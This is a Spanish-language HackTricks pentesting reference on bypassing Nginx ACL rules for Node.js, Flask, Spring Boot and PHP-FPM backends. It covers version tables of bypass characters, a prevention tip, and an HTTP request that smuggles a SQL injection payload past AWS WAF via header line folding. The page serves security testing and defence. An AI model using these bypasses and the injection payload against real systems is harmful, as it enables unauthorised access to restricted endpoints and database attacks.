hacktricks/pentesting-web/proxy-waf-protections-bypass.md

7.3 KiB

Bypass de Protecciones de Proxy / WAF

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Bypass de Reglas de ACL de Nginx

Ejemplo de restricción de Nginx:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

NodeJS

  • Como Nginx incluye el carácter \xa0 como parte de la ruta, la regla ACL para la URI /admin no se activará. En consecuencia, Nginx enviará el mensaje HTTP al backend;
  • Cuando el servidor Node.js recibe la URI /admin\x0a, el carácter \xa0 se eliminará, lo que permitirá recuperar con éxito el punto final /admin.
Versión de Nginx Caracteres de Bypass de Node.js
1.22.0 \xA0
1.21.6 \xA0
1.20.2 \xA0, \x09, \x0C
1.18.0 \xA0, \x09, \x0C
1.16.1 \xA0, \x09, \x0C

Flask

Flask elimina los caracteres \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B y \x09 de la ruta URL, pero NGINX no lo hace.

Versión de Nginx Caracteres de Bypass de Flask
1.22.0 \x85, \xA0
1.21.6 \x85, \xA0
1.20.2 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

A continuación, se muestra una demostración de cómo se puede eludir la protección ACL agregando el carácter \x09 o al final de la ruta:

Versión de Nginx Caracteres de Bypass de Spring Boot
1.22.0 ;
1.21.6 ;
1.20.2 \x09, ;
1.18.0 \x09, ;
1.16.1 \x09, ;

PHP-FPM

Consideremos la siguiente configuración de Nginx FPM:

location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Es posible evadirlo accediendo a /admin.php/index.php:

Cómo prevenirlo

Para prevenir estos problemas, debes usar la expresión ~ en lugar de la expresión = en las reglas de ACL de Nginx, por ejemplo:

COPYCOPY

location ~* ^/admin {
deny all;
}

Bypassando AWS WAF ACL con Line Folding

Es posible evadir la protección de AWS WAF en un encabezado HTTP utilizando la siguiente sintaxis, donde AWS WAF no entenderá que el encabezado X-Query contiene una carga útil de inyección SQL mientras que el servidor nodo detrás sí lo hará:

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥